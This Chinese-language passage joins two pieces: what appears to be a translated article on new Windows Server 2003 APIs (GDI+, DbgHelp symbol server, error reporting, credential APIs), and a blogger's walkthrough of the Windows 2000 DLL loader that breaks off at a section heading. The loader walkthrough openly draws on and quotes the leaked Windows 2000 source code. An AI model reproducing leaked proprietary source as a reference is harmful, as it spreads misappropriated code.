虽然 GDI+ API 从技术上来说就像任何其他 Win32 API 一样,但您不可能直接调用它们(至少是从 C++ 代码)。 而 Platform
SDK 则有一组定义了大约 40 个 C++ 类的头文件(例如,头文件名为 GDIPlus.H)。 这些类中比较典型的有 Bitmap、Font 和
Region。 这些类的方法通常是调用 GDIPlus.DLL 中的基础 API 的内联函数。
下面是 GDIPlus 类在 C++ 代码中的典型使用示例: VOID OnPaint(HDC hdc) {
Graphics graphics(hdc); Pen pen(Color(255, 0, 0, 255));
graphics.DrawLine(&pen, 0, 0, 200, 100); } 注意,代码中没有
BeginPaint/EndPaint 这样麻烦的过程。 一切都是面向对象的。 Graphics 对象是相当于设备上下文句柄 (HDC) 的 GDI+。 Pen
对象为您负责基础 GDI 笔的创建和析构。
了解 GDI+ 的最佳方法是,浏览 GDIPlus.H 以及它引用的文件。 要使用 GDI+,您需要在源文件中加入 #include
GDIPlus.H,然后将 GDIPlus.lib 文件添加到链接器行。 要注意的是,GDIPlus.DLL 是并行启用的。 因此,您不会在
\windows\system32 目录中找到它。 相反,您会在 \windows\winsxs\ 下的各子目录中看到它的各种版本。
新公开的接口
Microsoft 最近公开了 Windows 2000 或更早期的操作系统中就已出现的几百个 API 和 COM 接口。 您可以访问 Settlement
Program Interfaces 找到这些 API。 虽然它们在技术上不是新内容,但现在有了公开的文档,因此您可以放心地在 Windows XP
和更高版本的操作系统中调用它们。 坦率地说,当我看到这些 API 时,我认为除了几个以外,确实没有什么新鲜的东西。 当您以挑剔的眼光研究这些 API
之后,您会发现,它们大多数都是在完善现有的 API 集合而已。 此外,该列表中的一些 API 已经公开过了,但这次增加了新的细节。
到目前为止,最大的 API 子集要算是 SHELL32 库。 里面大约包括了 110 个 API,但从名称来看,许多 API 的使用非常有限。
比如说,有人用过 CDefFolderMenu_Create2 吗? 不过,令人高兴的是,超过 20 个的新 COM 接口公开了,包括
IMenuBand、IShellItem 和 IShellTaskScheduler。
新公开的 API 还有一些与密码有关的新函数。 WININET.DLL 有五个新 API,大多数都与代理支持有关。 DirectShow 功能增加了 12
个左右的新 API。 最后,其中有些 API,如 NtQuerySystemTime 和 RtlUnwind,在前面提到的 WINTERNL.H
文件中介绍过了。
DEBUGHLP 方面的新内容
长期阅读我的文章和 MSDN Magazine 专栏的读者都知道,DBGHELP.DLL 是我最喜爱的 DLL 之一。 自从其在
Windows 2000 出现以来,经历了相当大的变化。 该 DLL 具有如此之多的新用途,以至我真的很难决定从哪里开始说起。
DbgHelp 中最酷的特性之一并不是您调用的 API。 您是否经历过这样的挫折:您的调试符号与系统上的 DLL 变得不同步? 多亏
DBGHELP.DLL 的存在,这种问题(在很大程度上)已经成为过去。 新特性称为符号服务器。 当您要求 DbgHelp
加载模块的符号时,如果它在本地找不到调试文件,则调用符号服务器 DLL 来 定位调试文件。 符号服务器 DLL 可以用它认为合适的任何方式来定位调试文件。
从概念上来说,任何人都可以编写符号服务器 DLL,并且 DbgHelp 都会使用它。
实际上,Microsoft 已经创建了一个几乎所有人都会使用的符号服务器 DLL (SymSrv.DLL)。 此外,Microsoft 还将几乎每个相关的
Windows 版本的调试符号都放在可公开访问的 Web 服务器上。 最后的结果是,调试器和工具本身不用做额外工作即可动态地获得调试文件。
需要做的全部事情就是使用 DbgHelp.DLL 来访问符号。 SymSrv.DLL 是用于 Windows 的调试工具的一部分,可以从 MSDN
站点下载(请参见 Microsoft Debugging Tools)。
SymSrv.DLL 在第一次需要 PDB 文件的时候自动下载适当的 PDB 文件,将它存储在本地。 它确保下载的 PDB 文件是用于该 DLL
的正确版本。 在本地存储 PDB 文件时,它使用一种允许多个版本的 DLL 的 PDB 共存的目录命名方案。
Visual Studio .NET 的用户可以使用符号服务器功能。 需要做的全部事情就是,将 SymSrv.DLL 放在 IDE
(DevEnv.exe) 所在的同一目录,然后设置一个环境变量。 默认情况下,DBGHELP.DLL 使用 _NT_SYMBOL_PATH 中的路径来定位符号。
为了指示应该使用符号服务器,_NT_SYMBOL_PATH 应类似于如下所示: symsrv*symsrv.dll*c:\winnt\symbols*
http://msdl.microsoft.com/download/symbols
显然,您希望路径部分(本示例为 "c:\winnt\symbols")指向硬盘上的一个有效目录。 假设您正确地完成了所有设置,该功能会顺利执行。
我已经在无数台机器上成功地使用了此功能,但不幸的是,如果您遇到问题,我无法提供支持。
DbgHelp 中的下一个重大特性是类型支持。 我于 2002 年 3 月在 Under
The Hood 专栏上发表的文章详细地讨论了该主题,因此我在这里只是稍微提几句。 类型支持已经扩展到基元类型的范围之外,包括用户定义的类型。 使用新的
SymFromAddr 和 SymFromName API,您可以获得类型索引。 然后,该类型索引被传递到 SymGetTypeInfo,以获得有关类型的信息。
SymGetTypeInfo 是一个相当难以理解的 API,因此我再次建议您阅读前面提到的、有关此主题的专栏文章。 利用
SymEnumTypes,可以枚举给定的符号表中的所有用户定义的类型。
如果您是一个长期的 DbgHelp 用户,可能会注意到,许多新 API 与现有的接口并行运行。 例如,SymEnumSymbols 的用途看起来与
SymEnumerateSymbols 差不多。 新的 API 存在的理由是,旧的 API 提供的有关符号的信息不很完整。 而更新的 API 则始终使用
SYMBOL_INFO 结构,该结构中关于符号的信息要完整得多。
DbgHelp 还新增了另一个令人兴奋的特性 — 识别局部变量和参数。 过去,您可以枚举模块的符号,但只能是全局符号。 利用新的
SymEnumSymbols API,您可以枚举局部变量和参数。 为实现此目的,需要使用一个非显而易见的技巧 — 预先调用 SymSetContext 函数。
您应该在您感兴趣的特定函数内指定某个地址时调用 SymSetContext。在后台,DbgHelp 找到封闭函数的局部变量和参数,并且只枚举它们。
MiniDumpWriteDump API 也是一个令人兴奋的特性。 只要调用一次,您就可以创建自己的转储文件。 这些文件与您从 Dr. Watson
故障或 UserDump 工具得到的文件是完全一样的。 这些转储文件可以加载到 WinDBG 或 Visual Studio .NET 中,用于总结调试过程。
创建转储文件的原因通常是,您的程序可能在运行时遇到一些意外情况。 用户可以将该文件送回给您,这样您就可以在选择的调试器中仔细研究。
还有许多其他新的 DbgHelp API,但在本节中我只再讨论其中的几个。 现在,您可以通过 SymEnumLines API 枚举源文件行。 利用
SymAddSymbol 和 SymDeleteSymbol,您可以动态地扩展符号文件中定义的符号。 如果有 .NET 元数据方法标记,SymFromToken
API 返回 SYMBOL_INFO。 在支持基于 .NET 框架的调试信息时,这对 DBGHELP 来说是很重要的第一个步骤。
现在增加了这么多的新特性,如果不展示其中的一些,简直有点说不过去。 DBGHELP51
程序(随本月的下载内容提供,下载内容位于本文开头的链接)使用了一些刚刚讨论的新 API,包括 SymEnumSymbols、SymEnumLines 和
SymGetTypeInfo。 要测试该程序,请运行 DBGHELP51.EXE,向它传递包括其调试信息的 EXE 文件的名称。
如果调试信息正确加载,DBGHELP51.EXE 首先会列出所有全局符号。 如果类型信息可用,类型名称跟在符号名称的后面。
输出的第二个部分是任何源文件和行号信息(如果找到这些信息)。
Windows 错误报告
一个新 DLL 只有两个导出的 API? 这就是 Windows 错误报告 API 涉及的内容。 近几年来,您可能已经注意到,Microsoft
已经做了大量工作,尽量减少应用程序错误带给普通用户的困扰。 例如,从 Windows XP
开始,当程序遇到一个未处理的异常时,会弹出一个对话框,询问您是否希望将报告发送给 Microsoft。 利用新的错误报告
API,应用程序可以在这点上更好地与系统集成。
第一个 API 是 ReportFault,在利用 try 块捕获自己的异常应用程序中使用该 API。 该 API 将应用程序绑定到系统的错误报告机制。
ReportFault 采用 EXCEPTION_POINTERS 结构作为参数。 调用 ReportFault
后导致的系统操作与没有捕获异常的情况下发生的系统操作是一样的。 ReportFault 的返回值是一个指示系统做了什么的代码。 例如,返回代码
frrvLaunchDebugger 指示,启动了调试器来连接程序。
第二个 API 是 AddERExcludedApplication,该 API 阻止系统报告有关指定的可执行文件的错误。 例如,如果调用该 API
时传递字符串 foo.exe,则调用 foo.exe 的任何程序如果出现未处理的异常,都不会报告。 AddERExcludedApplication
的参数应该只是一个简单的 EXE 名称,没有任何路径信息。
ADVAPI32
由于 Microsoft 非常重视安全问题,那么新增了一组被称为凭据 API 的接口也就不足为奇了。 这些 API 获取和管理诸如用户名和密码这样的信息。
它们可以请求 Windows XP 帐户信息,以代替登录时建立的凭据来使用。 这种请求通常发生在登录凭据没有应用程序所需的权限的情况下。
图 13显示了凭据 API,它们来自新 WINCRED.H
文件。 为了说明某个基本功能,我编写了 Credential 程序,该程序枚举所有当前凭据并显示每个凭据的基本信息(请参见图 14
)。 请试着在您的系统上运行该程序。 您可能会对看到的结果感到惊讶。
ADVAPI32 中的另一组新安全 API 是 safer API。 这些 API
旨在使启动其他程序的程序可以很容易地查询安全策略,以便在启动可执行文件之前获得批准。 此功能不仅限于可执行文件,因为还可以验证其他种类的活动内容,如脚本。 这些
API 对于处理电子邮件附件尤其有用。 图 15
显示了 safer API,它们是在 WinSafer.H 中定义的。现在的情况是,在有关如何使用函数的实际示例中,缺少这些 API 的内容。
ADVAPI32 还新增了几个事件跟踪 API(请参见图 15
)。 事件跟踪是在 Windows 2000 中引入的。正如您预想的那样,TraceMessage 将事件发送到指定的跟踪会话。
TraceMessageVA 在本质上是相同的 API,不同的是,它接受数量可变的参数。 EnumerateTraceGUIDs
返回有关系统的事件跟踪提供程序的信息,而您从名称就可以看出 FlushTrace 的功能。
OLE 已经过时
过去,OLE32 和 OLEAUT32 DLL 一直是新 API 和接口的温床。 自从 Windows 2000 推出以来,由于将重心放在 .NET
框架上,它的速度大大降低了。 CoRegisterInitializeSpy 是一个似乎很有趣的新 API。 您提供类型 IInitializeSpy
的接口实现,其方法在注册 spy 的线程上的 CoInitialize(Ex) 和 CoUninitialize 之前和之后调用。
CoGetContextToken API 返回当前上下文的 IObjContext。 令我们感兴趣的原因主要是,该值存储在 TEB 中的
ReservedForOle 字段中,它最后记录在 WINTERNL.H 中。
CoFreeUnusedLibrariesEx 函数类似其前身函数,它增加的功能是,立即释放未使用的库,而不是在默认情况下等待 10 分钟。 最后,新的
CoInvalidateRemoteMachineBindings API 通知 OLE 服务控制管理器刷新所指定计算机的任何缓存远程过程调用的绑定句柄。
除了这几个 API,OLE 中没有什么其他新内容了,OLEAUT32 也是一样。
群集
群集 API 有少量值得一提的新函数。
群集就是使用一个以上的物理资源向外界表示一个逻辑资源、从而使资源(例如,应用程序、硬盘和文件共享)保持高度可用的能力。 新的群集 API 中大多数是我所说的
"EnumCount" 子集。 简单地说,群集对象可分为五种类型: Group、Network、Node、Resource 和 Resource Type。
这些对象可以通过基于句柄的 API 来枚举。 这里提到的新 API(例如,ClusterNodeGetEnumCount)返回枚举句柄表示的对象的数量。
其余两个新 API 是 EvictClusterNodeEx 和 SetClusterServiceAccountPassword。
EvictClusterNodeEx 类似其前身函数,但增加了超时功能。 SetClusterServiceAccountPassword
可更改所有在线节点上的群集服务用户帐户的密码。
实时客户端 API
实时客户端 (RTC) API 有一个很大气的名称,但并没有真实地反映出它的功能。 虽然 RTC API
包括相当多的功能,但我发现很容易将它主要视为即时消息 (IM) API。 有关文档已经大致描述了它的作用,然而我一定要在这里转述一下:
利用 RTC 客户端 API,您能构建可发出 PC 到 PC 的呼叫、PC 到电话的呼叫或电话到电话的呼叫,或在 Internet 上创建 IM
会话的应用程序。 语音呼叫和视频呼叫都可以在 PC 到 PC 的呼叫上建立。 它还支持联系人列表上的“存在”信息。
另外,可以添加应用程序共享和白板,以增强任何会话类型的通信能力。
那么,RTC API 究竟是什么样子呢? 它是基于 COM 的,所以不用感到惊讶。 用于与 RTC API 协同工作的根接口是
IRTCClient,您可以使用 CoCreateInstance 获得该接口。
从该接口可以创建(或提供)其他接口,例如,IRTCSession、IRTCParticipant、IRTCBuddy 和 IRTCProfile 等等。
加在一起,共有二十四个以上的 RTC 接口。 如果您有具体的倾向,可以使用 RTC 接口创建自己的自定义即时消息客户端。
小结
就上述内容来看,很明显,Windows Server 2003 相比 Windows 2000 有了很大的改进。我一向将工作重点放在用户模式的编程
API,但在后台还有性能和可靠性方面的重大变动和新增内容。 就我个人来说,我非常兴奋地看到,向量化异常处理、并行执行以及对调试符号更好的支持等功能,都在朝着
Windows 的方向发展。
我们都知道: Windows XP 是 Microsoft 推出的最新客户端操作系统。 由于 Windows Server 2003 在各方面都涵盖了
Windows XP,您至少可以考虑使用 Windows XP 提供的新 API。 就个人来说,我在自己的一些机器上运行 Windows XP,在其他机器上运行
Windows Server 2003,在日常工作方面,我看不出它们有什么区别。 我希望您着眼于未来,自己努力探索 Windows Server 2003
中的奥秘。
有关背景信息,请参见:
Matt Pietrek 是一位软件架构师兼作家。 他在 Compuware/NuMega 实验室担任 BoundsChecker 和
Distributed Analyzer 产品的首席 架构师。 他已经出版了三本有关 Windows 系统编程的书,并且是 MSDN
Magazine 的特约编辑。 您可以访问他的个人 Web 站点 (http://www.wheaty.net),了解有关以前文章和专栏的常见问题解答和其他信息。
Load and Unload
一、前言
在前一段时间,我遭遇了一个现象诡异的Bug,最后原因归结为在DllMain里错误地调用了FreeLibrary(在本文最后对此Bug有详细的解释)。
MSDN里关于禁止在DllMain里调用LoadLibrary和FreeLibrary的解释过于含糊不清,所以我重温了一遍Russ Osterlund的"Windows 2000 Loader"一文,
并仔细阅读了泄漏的Win2000源代码的相关部分。按照我一贯的习惯,我的阅读过程形成了我这篇文章的主体。
自从我2000年写了"ATL接口映射宏详解"以来,我还没写过这么大块头的文章。
我不知道有多少人耐着性子看完了"ATL接口映射宏详解",我猜想这篇文章的命运也不会比它的前辈好多少。
在这个技术更新越来越快的年代里,人们会对这种陷入实现细节的文章感到厌烦,而我自己在若干年后可能也不会有耐心和勇气面对它,
但文章最后对几个问题的解释也还是有实用价值的,另外寻根究底的精神也总是应该存在的。
二、准备工作
工具:
用SourceInsight看Win2000的源代码会比较爽。
WinDbg是调试用的神兵利器,它能显示比VC更多的调试信息,以及一些内部的数据结构,当然你需要先安装与你的OS相符合的调试符号。
GFlag.exe可以设置输出Loader Snap信息,它和WinDbg一起,都在Debugging Tools for Windows包里。
ModuleList是我写的一个小工具,与本文相得益彰。
知识:
在开始跟随我的脚步之前,你至少应该先阅读一下"win2k\private\net\sockets\winsock2\dll\include\llist.h"文件。
在这里定义一些非常重要的宏和结构,包括:
LIST_ENTRY、FIELD_OFFSET、CONTAINING_RECORD以及双向链表添加删除结点的几个宏。
虽然在好几个文件里有这几个宏的相同定义,但显然这个文件是最好的,因为它有非常详细的注释。
理解LIST_ENTRY和CONTAINING_RECORD非常关键,这种简单高效又富于技巧性的双向链表结构遍布于Win2000源码的各个角落之中,
包括与本文密切相关的PEB_LDR_DATA和LDR_DATA_TABLE_ENTRY结构。(在ModuleList中给出了这两个结构的定义)
浏览一遍Russ Osterlund的"Windows 2000 Loader"也是非常必要的,为了避免重复,我省略了一些内容。
不过他的文章也很长,份量很重,看完它需要花费很多心力。
另外你还需要有相当多的PE方面的知识,特别是Import和Export的部分,还有Forward API和binding的概念。
如果做完以上准备工作之后,阅读本文仍然有困难的话,那么非常遗憾,我的写作能力还不足以让你跳过源代码,
还是请你先阅读过win2000的源代码再回来吧,毕竟代码才是最好的文档。(win2000源代码里的注释是1990年,
而Russ Osterlund在2002年给出的伪代码与它高度相似,这是否说明我们现在用的Windows Loader的主干代码在十几年前就已经确立了呢?
这不禁让我有一丝莫名的激动。)
三、Process Initialize
LdrpInitialize is called as a User-Mode APC routine as the first user-mode code executed by a new thread.
不过我们从LdrpInitializeProcess开始研究就已经足够了,并且本文只关注与Dll loader相关的部分。
LdrpInitializeProcess的功能:
This function initializes the loader for the process.
This includes:
- Initializing the loader data table
- Connecting to the loader subsystem
- Initializing all staticly linked DLLs
(1) 初始化Hash table
for(i=0;i<LDRP_HASH_TABLE_SIZE;i++) {
InitializeListHead(&LdrpHashTable[i]);
}
LdrpHashTable是全局变量:
#define LDRP_HASH_TABLE_SIZE 32
#define LDRP_HASH_MASK (LDRP_HASH_TABLE_SIZE-1)
#define LDRP_COMPUTE_HASH_INDEX(wch) ( (RtlUpcaseUnicodeChar((wch)) - (WCHAR)'A') & LDRP_HASH_MASK )
LIST_ENTRY LdrpHashTable[LDRP_HASH_TABLE_SIZE]; // Hash表,每一项是一个双向链表结构
这里采用的是非常简单的Hash算法。
(2) 得到LdrpKnownDllPath
LdrpKnownDllObjectDirectory是named object"\\KnownDlls"的句柄。
如果打开该对象不成功,则LdrpKnownDllPath默认的就是系统目录,比如:"c:\winnt\system32";
如果打开该对象成功,则在该directory下有一item "KnownDllPath"(a symbolic-link object),用这个值初始化LdrpKnownDllPath。
LdrpKnownDllObjectDirectory和LdrpKnownDllPath是全局变量:
HANDLE LdrpKnownDllObjectDirectory;
UNICODE_STRING LdrpKnownDllPath;
如果不能成功得到LdrpKnownDllPath,则会退出LdrpInitializeProcess函数。
LdrpKnownDllPath将在后面的LdrpCheckForKnownDll函数中被用到。
(3) 初始化Peb->Ldr,参见ModuleList中给出的定义。
// 在进程堆上为Ldr分配空间
Peb->Ldr = RtlAllocateHeap(Peb->ProcessHeap, MAKE_TAG( LDR_TAG ), sizeof(PEB_LDR_DATA));
Peb->Ldr->Length = sizeof(PEB_LDR_DATA);
Peb->Ldr->Initialized = TRUE;
Peb->Ldr->SsHandle = NULL;
InitializeListHead(&Peb->Ldr->InLoadOrderModuleList);
InitializeListHead(&Peb->Ldr->InMemoryOrderModuleList);
InitializeListHead(&Peb->Ldr->InInitializationOrderModuleList);
(4) 为process image分配第一个loader data table entry,初始化,并加入到list中
LdrDataTableEntry = LdrpImageEntry = LdrpAllocateDataTableEntry(Peb->ImageBaseAddress);
... 初始化各个成员 ....
LdrpInsertMemoryTableEntry(LdrDataTableEntry); // 将该entry加入到list of loaded modules for this process
LdrDataTableEntry->Flags |= LDRP_ENTRY_PROCESSED;
LdrpInsertMemoryTableEntry函数比它的名字包含了更多的含义,它不仅insert into LoadOrderModuleList和MemoryOrderModuleList,
还insert into HashList:
ULON i = LDRP_COMPUTE_HASH_INDEX(LdrDataTableEntry->BaseDllName.Buffer[0]);
InsertTailList(&LdrpHashTable[i],&LdrDataTableEntry->HashLinks);
InsertTailList(&Ldr->InLoadOrderModuleList, &LdrDataTableEntry->InLoadOrderLinks);
InsertTailList(&Ldr->InMemoryOrderModuleList, &LdrDataTableEntry->InMemoryOrderLinks);
(5) 为ntdll.dll分配第二个loader data table entry,初始化,并加入到list中
对于任何一个进程,ntdll.dll都是第一个被处理的DLL。
LdrDataTableEntry = LdrpAllocateDataTableEntry(SystemDllBase); // 即ntdll.dll的基地址
... 初始化各个成员 ....
与Process image不同,ntdll.dll会被加入到初始化链表中:
InsertHeadList(&Peb->Ldr->InInitializationOrderModuleList,
&LdrDataTableEntry->InInitializationOrderLinks);
这也是InInitializationOrderModuleList长度总比InLoadOrderModuleList和InMemoryOrderModuleList多1个的原因。
ntdll.dll的一个有趣的事是它的入口点EntryPoint为NULL,所以不会调用_DllMainCRTStartup,所以不会有LDRP_PROCESS_ATTACH_CALLED标志。
用ModuleList.exe会发现所有进程里的ntdll.dll都是如此。
ntdll.dll的另一个特殊之处是它的LoadCount初始为-1,意味着LoadCount永远不会改变。
(6) 加载Process引用的DLLs
LdrpWalkImportDescriptor(LdrpDefaultPath.Buffer, LdrpImageEntry);
LdrpImageEntry是在前面已经分配过的全局的Process Image的loader data table entry.
LdrpWalkImportDescriptor:
is a recursive routine which walks the Import Descriptor Table and loads each DLL that is referenced.
if (Bound Imports Descriptor Table存在)
{
while (遍历每一个IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT结构)
{
调用LdrpLoadImportModule(...)装载绑定的Dll,得到该dll的loader data table entry;
如果成功并且该dll是第一次被load,则调用InsertTailList将其加入到InInitializationOrderModuleList的末尾。
if (该dll的时间戮不一致,或者DllBase不是preferred load address)
StaleBinding = TRUE;
else
StaleBinding = FALSE;
while (处理该dll的每一个forwarder dll)
{
调用LdrpLoadImportModule(...)装载forwarder dll;
如果成功并且该dll是第一次被load,则调用InsertTailList将其加入到InInitializationOrderModuleList的末尾。
if (不成功,或者该dll的时间戮不一致,或者DllBase不是preferred load address)
StaleBinding = TRUE;
else
StaleBinding = FALSE;
}
if (StaleBinding == TRUE)
{
Find the unbound import descriptor that matches this bound import descriptor
如果没找到,则返回STATUS_OBJECT_NAME_INVALID,退出
调用LdrpSnapIAT(...)修正IAT表。
}
/* 这一部分的代码现在肯定已经有所变化。通过Russ Osterlund的例子可以发现,如果使用LoadLibrary来load一个Forwarder DLL,
使用GetProcAddress来使用一个Forwarder Function,那么LoadLibrary不会加载Forwarded Dll,只有在GetProcAddress之后,
才会加载Forwarded Dll。这是一种类似Delay-load的机制。
*/
}
}
else if (Regular Imports Descriptor Table存在)
{
while (遍历每一个IMAGE_DIRECTORY_ENTRY_IMPORT结构)
{
调用LdrpLoadImportModule(...)装载imported dll,得到该dll的loader data table entry;
if (this dll has been bound // 通过timestamp判断,See PE specifications 6.4.1
&& the import date stamp matches the date time stamp in the export modules header
&& and the image was mapped at it's prefered base address)
{
// do nothing
}
else
{
调用LdrpSnapIAT(...)修正IAT表。
}
如果Dll是第一次被load,则调用InsertTailList将其加入到InInitializationOrderModuleList的末尾。
}
}
以下是在不同的情况下输出的Loader Snap信息。
Bound成功的例子:
LDR: KERNEL32.dll bound to NTDLL.DLL
LDR: KERNEL32.dll has correct binding to NTDLL.DLL
Bound不成功的例子:
LDR: SHELL32.dll has stale binding to SHLWAPI.DLL
LDR: Stale Bind SHLWAPI.DLL from SHELL32.dll
Bound里有forward成功的例子:
LDR: GDI32.dll bound to NTDLL.DLL via forwarder(s) from KERNEL32.dll
LDR: GDI32.dll has correct binding to NTDLL.DLL
Bound里有forward不成功的例子:
LDR: WINMM.dll bound to NTDLL.DLL via forwarder(s) from KERNEL32.dll
LDR: WINMM.dll has stale binding to NTDLL.DLL
LDR: Stale Bind KERNEL32.DLL from WINMM.dll
LdrpLoadImportModule: load Imported Dll
(1) 调用LdrpCheckForLoadedDll(...)检查该Dll是否已经被load。
(2) 若没有,则调用LdrpMapDll(...)将其映射到进程地址空间。
(3) 递归调用LdrpWalkImportDescriptor(...)。
LdrpCheckForLoadedDll和LdrpMapDll这两个函数留到后面再讲。
LdrpSnapIAT:snaps the Import Address Table for this Imported Dll,
overwrites each IAT entry with the actual address of the imported function.
(1) 通过IMAGE_DIRECTORY_ENTRY_EXPORT得到imported dll的Export Directory指针和大小,它将在LdrpSnapThunk函数中使用。
(2) 通过IMAGE_DIRECTORY_ENTRY_IAT得到IATs表的地址和大小。(每一个imported dll的IAT表在内存中都是连续排列的)
这是一种简便的方法,一下子把整个IAT表的区域的属性都改了,避免了每snap一个thunk修改一次。
(3) 修改IATs的内存保护属性为PAGE_READWRITE。
(4) if (snap forwarded entries only)
{
while (找到每一个forwarder function的thunk)
调用LdrpSnapThunk(...)
}
else
{
while (找到Import Table里的每一个thunk)
调用LdrpSnapThunk(...)
}
(5) 恢复IATs原始的内存保护属性。
(6) 调用NtFlushInstructionCache。这是有必要的,因为IATs一般都在代码段。
LdrpSnapThunk: snaps a thunk using the Imported Dll’s Export Section data.
(1) if (snap is by ordinal)
{
得到OrindalNumber: = (USHORT)(OriginalOrdinalNumber - ExportDirectory->Base);
}
else
{
如果HintIndex匹配函数名,则可以直接使用它:OrdinalNumber = NameOrdinalTableBase[HintIndex];
否则调用LdrpNameToOrdinal(...)在Name Table中二分查找,然后在NameOrdinal Table得到对应OrdinalNumber
}
(2) 根据得到的OrdinalNumber,在Export Address Table(EAT)中找到对应的API的偏移地址。
该偏移地址再加上Dll的基地址就是该函数在内存中的实际地址。
然后用它更新IAT Thunk Entry。
(3) (参考PE specifications中的6.3.2节)
if (函数地址在export section内)
{
说明这个函数是一个Forwarder Function,那么上面得到的该函数的地址实际上指向一个ASCII string,
形式如:"NTDLL.RtlAllocateHeap" (by name) 或者 "MYDLL.#27" (by ordinal) 。
从这个字符串中解析出Forwarded Dll的名字,然后调用LdrpLoadDll(...)函数装载它。
然后调用LdrpGetProcedureAddress(...)函数得到函数的实际地址,并更新IAT Thunk。
}
(7) 调用LdrpUpdateLoadCount增加process image及它引用的dll的引用计数
LdrpUpdateLoadCount:递归函数,增加或减少Dll以及它引用的所有Dll的引用计数:
if (Module is loading)
{
设置相应的LDRP_LOAD_IN_PROGRESS标志,该标志表示dll正在被loading,将在LdrpClearLoadInProgress(...)被清除。
}
else // (Module is unloading)
{
设置相应的LDRP_UNLOAD_IN_PROGRESS标志,该标志表示dll正在被unloading,将在LdrUnloadDll(...)中被清除。
}
if (Bound Imports Descriptor Table存在)
{
while (遍历每一个IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT结构)
{
调用LdrpCheckForLoadedDll(...)检查imported dll是否已经被加载。
if (该imported dll的引用计数 != -1)
{
if (reference)
引用计数加1
else // dereference
引用计数减1
}
对这个imported dll递归调用LdrpUpdateLoadCount(...)
}
}
else if (Regular Imports Descriptor Table存在)
{
while (遍历每一个IMAGE_DIRECTORY_ENTRY_IMPORT结构)
{
调用LdrpCheckForLoadedDll(...)检查imported dll是否已经被加载。
if (该imported dll的引用计数 != -1)
{
if (reference)
引用计数加1
else // dereference
引用计数减1
}
对这个imported dll递归调用LdrpUpdateLoadCount(...)
}
}
(8) Lock the loaded DLLs to prevent dlls that back link to the exe to cause problems when they are unloaded.
while (从前向后遍历InLoadOrderModuleList表,找到每一个LDR_DATA_TABLE_ENTRY)
{
LoadCount = -1 ;
这表明进程的每一个static link的dll的LoadCount都为-1。
从上面的LdrpUpdateLoadCount的伪代码可以看出,LoadCount为-1标志着该dll的引用计数永远不会改变,
不会因为LoadLibrary和FreeLibrary而增加或减小。
}
(9) 此时进程隐式链接的DLLs都已经映像到内存中
if (the process is being debugged)
{
DbgBreakPoint() ; // 这就是著名的Loader Breakpoint。
}
Debugger的作者需要注意的是,在Loader Breakpoint之前,staticly linked dlls虽然都已经被load,但并没有被初始化(意即没有调用_DllMainCRTStartup)。
用WinDbg的!dlls命令,或者我的ModuleList程序都可以看出这点:
这些static link DLL的标志均为:LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_LOAD_IN_PROGRESS。
(10)调用LdrpRunInitializeRoutines,初始化每个dll。
LdrpRunInitializeRoutines:调用每一个已经被映射到内存但又没初始化的Dll的Entry Point。
(1) 调用LdrpClearLoadInProgress(...),清除LDRP_LOAD_IN_PROGRESS,并返回需要调用初始化函数的模块个数。
NumberOfRoutines = LdrpClearLoadInProgress();
(2) 在进程堆上创建一个数组,其成员是将要调用初始化函数的模块所对应的PLDR_DATA_TABLE_ENTRY指针。
PLDR_DATA_TABLE_ENTRY *LdrDataTableBase = RtlAllocateHeap( , , NumberOfRoutines * sizeof(PLDR_DATA_TABLE_ENTRY)) ;
(3) while (从前向后遍历InInitializationOrderModuleList表,找到每一个LDR_DATA_TABLE_ENTRY)
{
if (EntryPoint不为NULL && 没有设置LDRP_ENTRY_PROCESSED标志(即entry hasn't been processed))
LdrDataTableBase[i++] = LdrDataTableEntry; // 将其将加入LdrDataTableBase中
LdrDataTableEntry->Flags |= LDRP_ENTRY_PROCESSED; // 注意此时还没有调用Entry Point函数
}
(4) while (遍历LdrDataTableBase数组中的每一项)
{
判断是否需要"BreakOnDllLoad" ;
我对BreakOnDllLoad没什么兴趣,就此略过。感兴趣的话可以看看Matt Pietrek的"Under the Hood", 1999-09
if (InitRoutine) // 如果需要初始化
{
if (the DLL has TLS data)
调用LdrpCallTlsInitializers(,DLL_PROCESS_ATTACH) ;
调用LdrpCallInitRoutine(,,DLL_PROCESS_ATTACH,)函数,一般是调用Dll的入口点函数_DllMainCRTStartup。
LdrpCallInitRoutine是用汇编写的,不过并无特殊之处。只是在Call指令之前调用
mov esi,esp ; save the stack pointer in esi across the call
在Call结束后调用
mov esp,esi ; restore the stack pointer in case callee forgot to clean up
不知道这种设计有什么特别的好处?
LdrDataTableEntry->Flags |= LDRP_PROCESS_ATTACH_CALLED; // 标识完成初始化
if (Entry Point函数返回FALSE)
退出,返回STATUS_DLL_INIT_FAILED; // 这说明如果有一个Dll初始化失败,则退出整个加载过程
}
}
(5) if (the process image has tls)
调用LdrpCallTlsInitializers(,DLL_PROCESS_ATTACH) ;
LdrpClearLoadInProgress:清除LDRP_LOAD_IN_PROGRESS标志
(1) count = 0 ; // 初始化计数器
(2) while (从前向后遍历InInitializationOrderModuleList表,找到每一个LDR_DATA_TABLE_ENTRY)
{
清除LDRP_LOAD_IN_PROGRESS标志;
if (EntryPoint不为NULL && 没有设置LDRP_ENTRY_PROCESSED标志(即entry hasn't been processed))
++count ;
}
(3) return count ;
四、Process Shutdown
下面我们开始研究进程结束时Dll是如何卸载的,从下面的堆栈中可以确定我们的旅程将从LdrShutdownProcess开始:
ntdll!LdrShutdownProcess
KERNEL32!ExitProcess+0x51
Test!doexit+0xd5 [crt0dat.c @ 392]
Test!exit+0x10 [crt0dat.c @ 279]
Test!mainCRTStartup+0xf8 [crt0.c @ 212]
KERNEL32!BaseProcessStart+0x3d
LdrShutdownProcess:
This function is called by a process that is terminating cleanly.
It’s purpose is to call all of the processes DLLs to notify them that the process is detaching.
(1) 沿着初始化方向的反方向
while (从后向前遍历InInitializationOrderModuleList表,找到每一个LDR_DATA_TABLE_ENTRY)
{
if (EntryPoint不为NULL && 设置了LDRP_PROCESS_ATTACH_CALLED标志(即the dll has been initialized))
{
if (the DLL has TLS data)
调用LdrpCallTlsInitializers(,DLL_PROCESS_DETACH) ;
调用LdrpCallInitRoutine(,,DLL_PROCESS_DETACH,)函数
}
}
(2) if (the process image has tls)
调用LdrpCallTlsInitializers(,DLL_PROCESS_DETACH) ;
原来进程结束时只是依次调用Dll的DllMain函数,并没有把它从内存中卸载(UnmapView)。
五、LoadLibraryEx
